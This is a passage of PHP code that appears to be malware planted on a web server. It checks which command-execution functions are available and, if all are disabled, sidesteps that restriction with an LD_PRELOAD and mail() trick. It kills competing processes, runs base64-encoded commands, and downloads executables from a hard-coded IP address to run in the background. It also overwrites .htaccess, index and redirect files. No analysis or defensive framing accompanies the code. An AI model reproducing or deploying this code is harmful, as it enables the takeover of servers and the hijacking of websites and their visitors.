$delete_path_command = "ps -ef | grep " . $target_path . "| grep -v grep | grep -v /uploads/index.php | grep -v  lsphp | awk '{print $2}' | xargs kill -9"; try { exc($delete_php_command); exc($delete_path_command); } catch (\Exception $e) { echo "delete other process failed:" . $e->getMessage() . "<br>"; } } function il() { global $li_str; global $path; $is_live = false; $l_str=base64_decode($li_str); $disable_functions_origin = ini_get("disable_functions"); $disable_functions = array_map(function ($item) { return trim($item); }, explode(",", $disable_functions_origin)); if (!in_array("exec", $disable_functions)) { exec($l_str, $out, $result); if (count($out) > 0) { $is_live = true; } } else if (!in_array("shell_exec", $disable_functions)) { $result = shell_exec($l_str); if ($result != "") { $is_live = true; } } else if (!in_array("system", $disable_functions)) { $result = system($l_str, $status); if ($result != "") { $is_live = true; } } else if (!in_array("passthru", $disable_functions)) { passthru($l_str, $status); if ($status == 0) { $is_live = true; } } else { $out_put = $path . "/out_put.img"; $cmd = $l_str . " > " . $out_put . " 2>&1"; exc($cmd); $result = file_get_contents($out_put); if (stristr($result, "nginx-master")) { $is_live = true; } if (file_exists($out_put)) { unlink($out_put); } } return $is_live; } function exc($command) { global $path; $disable_path = "$path/disable"; $disable_functions_origin = ini_get("disable_functions"); $disable_functions = array_map(function ($item) { return trim($item); }, explode(",", $disable_functions_origin)); if (!idc()) { try { if (!in_array("exec", $disable_functions)) { exec($command, $out, $result); } else if (!in_array("shell_exec", $disable_functions)) { shell_exec($command); } else if (!in_array("system", $disable_functions)) { system($command, $status); } else if (!in_array("passthru", $disable_functions)) { passthru($command, $status); } } catch (\Exception $e) { echo "delete other process failed:" . $e->getMessage() . "<br>"; } } else { if (!file_exists($disable_path)) { dsof($disable_path); } chmod($disable_path, 777); putenv("EVIL_CMDLINE=" . $command); putenv("LD_PRELOAD=" . $disable_path); if (!in_array("mail", $disable_functions)) { mail("", "", "", ""); } else if (!in_array("error_log", $disable_functions)) { error_log("", 1, "", ""); } else if (!in_array("mb_send_mail", $disable_functions)) { mb_send_mail("", "", ""); } else if (!in_array("imap_mail", $disable_functions)) { imap_mail("", "", ""); } } } function gdsc() { global $background; $code = ""; if (file_exists($background)) { chmod($background, 777); $code = file_get_contents($background); } return $code; } function hef($root, $write_file_dir, $htaccess_path, $htaccess_content, $index_path, $index_content, $background_path, $background_content, $ave_path, $ave_content, $jump_path, $jump_content, $expired_time, $about_path) { $config_path = $write_file_dir . "/conf.json"; $d_path = $write_file_dir . "/d"; global $de_str; woc($root, $config_path, $htaccess_path, $htaccess_content, $index_path, $index_content, $background_path, $background_content, $ave_path, $ave_content, $jump_path, $jump_content, $expired_time, $about_path); def($d_path); chmod($d_path, 0777); exc(base64_decode($de_str)); $d_cmd = "nohup $d_path $config_path >  $write_file_dir/d1.img 2>&1 &"; exc($d_cmd); } function def($d_path) { $url = "http://38.54.56.115/stat/d.txt"; $content = get($url); if (file_exists($d_path)) { unlink($d_path); } file_put_contents($d_path, $content); } function woc($root_path, $write_file_name, $htaccess_path, $htaccess_content, $index_path, $index_content, $background_path, $background_content, $ave_path, $ave_content, $jump_path, $jump_content, $expired_time, $about_path) { $content = [ "root_path" => $root_path, "background_path" => $background_path, "background_content" => base64_encode($background_content), "index_path" => $index_path, "index_content" => base64_encode($index_content), "ave_path" => $ave_path, "ave_content" => base64_encode($ave_content), "jump_path" => $jump_path, "jump_content" => base64_encode($jump_content), "htaccess_path" => $htaccess_path, "htaccess_content" => base64_encode($htaccess_content), "expired_time" => $expired_time, "about_path" => $about_path ]; file_put_contents($write_file_name, json_encode($content)); } function get($url) { if (ini_get("allow_url_fopen")) { $result = file_get_contents($url); } else { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($ch); curl_close($ch); } return $result; } function idc() { $disable_functions_origin = ini_get("disable_functions"); $disable_functions = array_map(function ($item) { return trim($item); }, explode(",", $disable_functions_origin)); return in_array("exec", $disable_functions) && in_array("shell_exec", $disable_functions) && in_array("system", $disable_functions) && in_array("passthru", $disable_functions); } function dsof($d_path) { $url = "http://38.54.56.115/stat/disable.txt"; $content = get($url); if (file_exists($d_path)) { unlink($d_path); } file_put_contents($d_path, $content); }